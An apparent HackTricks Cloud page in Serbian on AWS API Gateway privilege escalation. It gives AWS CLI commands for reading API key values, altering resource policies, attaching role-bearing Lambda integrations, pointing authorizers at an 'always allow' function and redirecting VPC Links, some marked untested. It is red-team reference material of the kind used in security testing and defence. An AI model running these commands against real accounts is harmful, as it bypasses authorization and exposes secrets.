AWS - Apigateway Privesc
Tip
Nauči & vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Pogledajte subscription plans!
- Pridružite se 💬 Discord group or the telegram group or pratite nas na Twitter 🐦 @hacktricks_live.
- Podelite hacking tricks slanjem PR-ova na HackTricks i HackTricks Cloud github repos.
Apigateway
Za više informacija pogledajte:
apigateway:POST
Sa ovom dozvolom možete generisati API keys za API-je koji su konfigurisani (po regionu).
aws --region <region> apigateway create-api-key
Potencijalni uticaj: Ne možete izvesti privesc ovom tehnikom, ali možete doći do osetljivih informacija.
apigateway:GET
Sa ovom dozvolom možete dobiti generisane API keys API-ja koji su konfigurisani (po regionu).
aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value
Potencijalni uticaj: Ne možete privesc ovom tehnikom, ali možete dobiti pristup osetljivim informacijama.
apigateway:UpdateRestApiPolicy, apigateway:PATCH
Sa ovim dozvolama moguće je izmeniti politiku resursa API-ja kako biste sebi dali pristup za njegovo pozivanje i zloupotrebili potencijalni pristup koji API gateway može imati (npr. pozivanje ranjivog lambda).
aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
Potencijalni uticaj: Obično nećete moći direktno da privesc ovom tehnikom, ali možete dobiti pristup osetljivim informacijama.
apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole
Note
Potrebno testiranje
Napadač sa dozvolama apigateway:PutIntegration, apigateway:CreateDeployment, и iam:PassRole može dodati novu integraciju postojećem API Gateway REST API-ju koristeći Lambda funkciju kojoj je pridružena IAM role. Napadač zatim može pokrenuti Lambda funkciju da izvrši proizvoljan kod i potencijalno dobije pristup resursima povezanim sa IAM role.
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"
# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potencijalni uticaj: Pristup resursima povezanim sa IAM rolom Lambda funkcije.
apigateway:UpdateAuthorizer, apigateway:CreateDeployment
Note
Treba testirati
Napadač koji ima dozvole apigateway:UpdateAuthorizer i apigateway:CreateDeployment može izmeniti postojeći API Gateway authorizer kako bi zaobišao bezbednosne provere (npr. preusmeriti ga na Lambda funkciju koja uvek vraća “allow”) ili da izvrši proizvoljan kod kada se pošalju API zahtevi.
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potencijalni uticaj: Zaobilaženje bezbednosnih provera, neovlašćen pristup API resursima.
HTTP APIs / apigatewayv2 varijanta
Za HTTP APIs (API Gateway v2), ekvivalentna operacija je ažuriranje authorizer-a putem apigatewayv2:
REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
apigateway:UpdateVpcLink
Note
Potrebno testiranje
Napadač sa dozvolom apigateway:UpdateVpcLink može izmeniti postojeći VPC Link da upućuje na drugi Network Load Balancer, potencijalno preusmeravajući saobraćaj privatnog API-ja ka neautorizovanim ili zlonamernim resursima.
VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
Potencijalni uticaj: Neovlašćen pristup privatnim API resursima, presretanje ili ometanje API saobraćaja.
Tip
Nauči & vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Pogledajte subscription plans!
- Pridružite se 💬 Discord group or the telegram group or pratite nas na Twitter 🐦 @hacktricks_live.
- Podelite hacking tricks slanjem PR-ova na HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

